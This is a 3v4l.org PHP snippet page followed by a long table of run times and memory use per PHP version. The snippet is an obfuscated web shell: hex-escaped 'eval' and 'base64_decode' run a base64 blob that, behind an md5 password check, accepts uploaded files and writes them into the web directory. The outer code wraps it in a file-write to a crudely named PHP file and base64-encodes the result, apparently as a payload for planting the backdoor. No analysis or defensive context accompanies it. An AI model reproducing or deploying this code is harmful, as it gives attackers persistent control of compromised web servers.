3v4l.org

run code in 300+ PHP versions simultaneously
<?php $u = ' <?PHP $a=""; $a= "\x65". "v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("./rape.php",\'' . $u . '\');'; echo base64_encode($v);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00018.18
8.3.50.0120.00922.05
8.3.40.0080.00818.78
8.3.30.0070.01419.18
8.3.20.0000.00720.06
8.3.10.0080.00021.98
8.3.00.0080.00022.40
8.2.180.0000.01416.50
8.2.170.0090.00622.96
8.2.160.0030.01019.16
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0000.00826.16
8.2.120.0090.00019.23
8.2.110.0090.00022.13
8.2.100.0090.00319.57
8.2.90.0000.00819.05
8.2.80.0050.00317.97
8.2.70.0030.00617.63
8.2.60.0000.00818.03
8.2.50.0000.00918.07
8.2.40.0000.00818.16
8.2.30.0000.00718.07
8.2.20.0040.00417.60
8.2.10.0000.00817.80
8.2.00.0030.00517.66
8.1.280.0000.01625.92
8.1.270.0030.00522.19
8.1.260.0040.00426.35
8.1.250.0050.00328.09
8.1.240.0060.00323.87
8.1.230.0060.00619.00
8.1.220.0040.00417.74
8.1.210.0030.00518.77
8.1.200.0000.00917.22
8.1.190.0090.00017.41
8.1.180.0080.00018.65
8.1.170.0000.00818.50
8.1.160.0000.00722.05
8.1.150.0050.00318.64
8.1.140.0080.00017.45
8.1.130.0000.00717.79
8.1.120.0000.00717.41
8.1.110.0040.00417.43
8.1.100.0050.00317.34
8.1.90.0070.00017.47
8.1.80.0020.00517.47
8.1.70.0070.00017.48
8.1.60.0080.00017.59
8.1.50.0000.00817.43
8.1.40.0000.00817.42
8.1.30.0040.00417.66
8.1.20.0030.00617.60
8.1.10.0030.00517.57
8.1.00.0000.00817.36
8.0.300.0040.00418.77
8.0.290.0070.00017.30
8.0.280.0040.00418.33
8.0.270.0050.00317.13
8.0.260.0070.00016.87
8.0.250.0040.00416.85
8.0.240.0000.00716.94
8.0.230.0030.00316.82
8.0.220.0000.00716.79
8.0.210.0030.00316.89
8.0.200.0040.00416.84
8.0.190.0080.00016.84
8.0.180.0070.00016.88
8.0.170.0000.00816.81
8.0.160.0040.00416.91
8.0.150.0040.00316.90
8.0.140.0040.00416.90
8.0.130.0030.00313.28
8.0.120.0060.00316.82
8.0.110.0000.00916.88
8.0.100.0070.00017.00
8.0.90.0070.00016.75
8.0.80.0120.00316.77
8.0.70.0040.00416.82
8.0.60.0080.00016.65
8.0.50.0040.00416.86
8.0.30.0140.00516.77
8.0.20.0110.00717.40
8.0.10.0070.00016.98
8.0.00.0110.00616.75
7.4.330.0050.00015.00
7.4.320.0030.00316.46
7.4.300.0030.00316.30
7.4.290.0000.00716.52
7.4.280.0030.00316.40
7.4.270.0030.00316.48
7.4.260.0070.00316.48
7.4.250.0040.00416.33
7.4.240.0020.00516.50
7.4.230.0000.00716.33
7.4.220.0080.00816.64
7.4.210.0050.00916.43
7.4.200.0000.00816.38
7.4.190.0000.00716.70
7.4.160.0060.01016.39
7.4.150.0100.00717.40
7.4.140.0170.01317.86
7.4.130.0080.00816.32
7.4.120.0070.01116.34
7.4.110.0060.01116.51
7.4.100.0100.00716.47
7.4.90.0150.00316.46
7.4.80.0080.01219.39
7.4.70.0090.01116.25
7.4.60.0100.00716.30
7.4.50.0000.01016.57
7.4.40.0100.00322.77
7.4.30.0110.00616.50
7.4.00.0070.00714.88
7.3.330.0050.00013.00
7.3.320.0000.00613.04
7.3.310.0030.00316.24
7.3.300.0030.00316.11
7.3.290.0090.00616.21
7.3.280.0060.01016.29
7.3.270.0080.00817.40
7.3.260.0150.00416.33
7.3.250.0060.01416.42
7.3.240.0130.00316.52
7.3.230.0070.01016.42
7.3.210.0090.00816.43
7.3.200.0060.00919.39
7.3.190.0100.00716.59
7.3.180.0090.00616.12
7.3.170.0130.00916.51
7.3.160.0030.01316.47
7.3.120.0050.01014.76
7.3.110.0030.01014.73
7.3.100.0050.00515.02
7.3.90.0080.00315.06
7.3.80.0070.00714.55
7.3.70.0110.00614.66
7.3.60.0090.00614.75
7.3.50.0030.01014.64
7.3.40.0040.00414.61
7.3.30.0090.00014.92
7.3.20.0080.00816.54
7.3.10.0170.00016.64
7.3.00.0030.01016.57
7.2.330.0030.01416.54
7.2.320.0060.01616.38
7.2.310.0120.00416.32
7.2.300.0070.01016.77
7.2.290.0090.01516.60
7.2.250.0030.01414.92
7.2.240.0040.01115.25
7.2.230.0090.00615.21
7.2.220.0090.00315.24
7.2.210.0060.00614.71
7.2.200.0000.01415.10
7.2.190.0130.00314.97
7.2.180.0040.00715.05
7.2.170.0070.01015.11
7.2.60.0110.00316.92
7.1.330.0040.01115.77
7.1.320.0070.00715.70
7.1.310.0000.01115.70
7.1.300.0000.01615.56
7.1.290.0090.00015.78
7.1.280.0060.00915.61
7.1.270.0130.00015.73
7.1.260.0030.01015.55
7.1.200.0000.01115.55
7.1.100.0040.00718.21
7.1.70.0060.00317.28
7.1.60.0130.01019.82
7.1.50.0060.01616.97
7.1.00.0000.07722.39
7.0.200.0050.00316.84
7.0.140.0000.07721.97
7.0.100.0430.06719.85
7.0.90.0000.06320.13
7.0.80.0270.07719.99
7.0.70.0070.06719.89
7.0.60.0170.07319.78
7.0.50.0130.07720.21
7.0.40.0130.06020.04
7.0.30.0100.05020.11
7.0.20.0100.06719.96
7.0.10.0100.05320.09
7.0.00.0170.05320.09
5.6.280.0030.07020.77
5.6.250.0100.04020.77
5.6.240.0130.03320.66
5.6.230.0100.06020.57
5.6.220.0170.06320.49
5.6.210.0130.09020.59
5.6.200.0030.04320.95
5.6.190.0100.04721.03
5.6.180.0130.07021.05
5.6.170.0170.07721.13
5.6.160.0030.08720.95
5.6.150.0100.08721.13
5.6.140.0070.06321.16
5.6.130.0100.07721.07
5.6.120.0070.08321.02
5.6.110.0070.07721.03
5.6.100.0170.07321.00
5.6.90.0070.08020.98
5.6.80.0030.04720.39
5.6.70.0100.08020.45
5.6.60.0070.04320.45
5.6.50.0000.04720.34
5.6.40.0070.08020.46
5.6.30.0070.08320.47
5.6.20.0130.06720.52
5.6.10.0130.07020.41
5.6.00.0100.06720.38
5.5.380.0100.04720.45
5.5.370.0070.08720.44
5.5.360.0070.07720.34
5.5.350.0100.08320.39
5.5.340.0030.06320.85
5.5.330.0070.07320.85
5.5.320.0130.06020.72
5.5.310.0070.05720.72
5.5.300.0170.07320.72
5.5.290.0070.06720.77
5.5.280.0100.04320.79
5.5.270.0170.06020.88
5.5.260.0030.04720.71
5.5.250.0070.04720.68
5.5.240.0070.07320.29
5.5.230.0170.06720.17
5.5.220.0130.05320.27
5.5.210.0170.06020.20
5.5.200.0170.07020.10
5.5.190.0070.08320.18
5.5.180.0100.08020.13
5.5.160.0030.05020.16
5.5.150.0000.06320.14
5.5.140.0070.05720.07
5.5.130.0130.07720.22
5.5.120.0130.07320.24
5.5.110.0070.04020.17
5.5.100.0000.04720.15
5.5.90.0000.06020.12
5.5.80.0100.04020.09
5.5.70.0100.06720.14
5.5.60.0130.07320.09
5.5.50.0100.04720.05
5.5.40.0100.04720.13
5.5.30.0200.06320.05
5.5.20.0130.03719.95
5.5.10.0070.07320.09
5.5.00.0000.07719.99
5.4.450.0070.04319.47
5.4.440.0130.07719.43
5.4.430.0070.06719.35
5.4.420.0100.05019.26
5.4.410.0070.03719.07
5.4.400.0030.08019.11
5.4.390.0070.08019.05
5.4.380.0100.07719.10
5.4.370.0070.08019.12
5.4.360.0100.07719.12
5.4.350.0130.03319.14
5.4.340.0130.06719.10
5.4.320.0100.07018.78
5.4.310.0070.08019.03
5.4.300.0100.05019.09
5.4.290.0170.03718.78
5.4.280.0100.07319.16
5.4.270.0000.08319.09
5.4.260.0070.07319.14
5.4.250.0030.04719.14
5.4.240.0100.04719.13
5.4.230.0070.04719.02
5.4.220.0170.04318.80
5.4.210.0100.07019.12
5.4.200.0030.06719.05
5.4.190.0070.04318.93
5.4.180.0070.08019.02
5.4.170.0030.07018.80
5.4.160.0100.08719.04
5.4.150.0130.07718.94
5.4.140.0070.03716.34
5.4.130.0070.07716.28
5.4.120.0030.07716.26
5.4.110.0100.07316.25
5.4.100.0070.07716.33
5.4.90.0030.06316.42
5.4.80.0000.06016.31
5.4.70.0030.06016.22
5.4.60.0100.05016.30
5.4.50.0100.05716.23
5.4.40.0130.05316.42
5.4.30.0130.06716.27
5.4.20.0100.06016.25
5.4.10.0030.03716.18
5.4.00.0030.04715.80
5.3.290.0030.07714.67
5.3.280.0130.06714.53
5.3.270.0070.07314.43
5.3.260.0070.04014.59
5.3.250.0030.06714.56
5.3.240.0100.07314.59
5.3.230.0130.06314.55
5.3.220.0100.06714.55
5.3.210.0030.05314.55
5.3.200.0070.05014.38
5.3.190.0100.05714.42
5.3.180.0070.07014.52
5.3.170.0070.04014.55
5.3.160.0100.07014.54
5.3.150.0000.08014.41
5.3.140.0070.06714.50
5.3.130.0070.07714.40
5.3.120.0070.06314.36
5.3.110.0000.06714.37
5.3.100.0070.04014.02
5.3.90.0030.06013.87
5.3.80.0100.08013.97
5.3.70.0100.05714.00
5.3.60.0100.06713.85
5.3.50.0030.08013.88
5.3.40.0100.07013.70
5.3.30.0100.06313.85
5.3.20.0070.03713.69
5.3.10.0100.03313.60
5.3.00.0070.03713.61
5.2.170.0030.05013.60
5.2.160.0030.06013.60
5.2.150.0070.05013.60
5.2.140.0030.03313.60
5.2.130.0070.05013.60
5.2.120.0000.04313.60
5.2.110.0000.06013.60
5.2.100.0100.04313.60
5.2.90.0000.06713.60
5.2.80.0070.04313.60
5.2.70.0100.03013.60
5.2.60.0030.06313.60
5.2.50.0000.06313.60
5.2.40.0070.03013.60
5.2.30.0000.06313.60
5.2.20.0000.04713.60
5.2.10.0030.06313.60
5.2.00.0030.03313.60
5.1.60.0000.03313.60
5.1.50.0000.06013.60
5.1.40.0000.02713.60
5.1.30.0030.05713.60
5.1.20.0070.05313.60
5.1.10.0030.05313.60
5.1.00.0000.05313.60
5.0.50.0030.04713.60
5.0.40.0000.04713.60
5.0.30.0070.05713.60
5.0.20.0000.03713.60
5.0.10.0030.03713.60
5.0.00.0030.03013.60
4.4.90.0070.02713.60
4.4.80.0000.03713.60
4.4.70.0000.03713.60
4.4.60.0030.03313.60
4.4.50.0030.03713.60
4.4.40.0030.05313.60
4.4.30.0000.03713.60
4.4.20.0000.02013.60
4.4.10.0030.02313.60
4.4.00.0000.04313.60
4.3.110.0000.04013.60
4.3.100.0100.01013.60
4.3.90.0000.03713.60
4.3.80.0030.05713.60
4.3.70.0030.03013.60
4.3.60.0030.02713.60
4.3.50.0000.04013.60
4.3.40.0000.04313.60
4.3.30.0030.01313.60
4.3.20.0070.03013.60
4.3.10.0000.02713.60
4.3.00.0000.02013.60

preferences:
39.42 ms | 401 KiB | 5 Q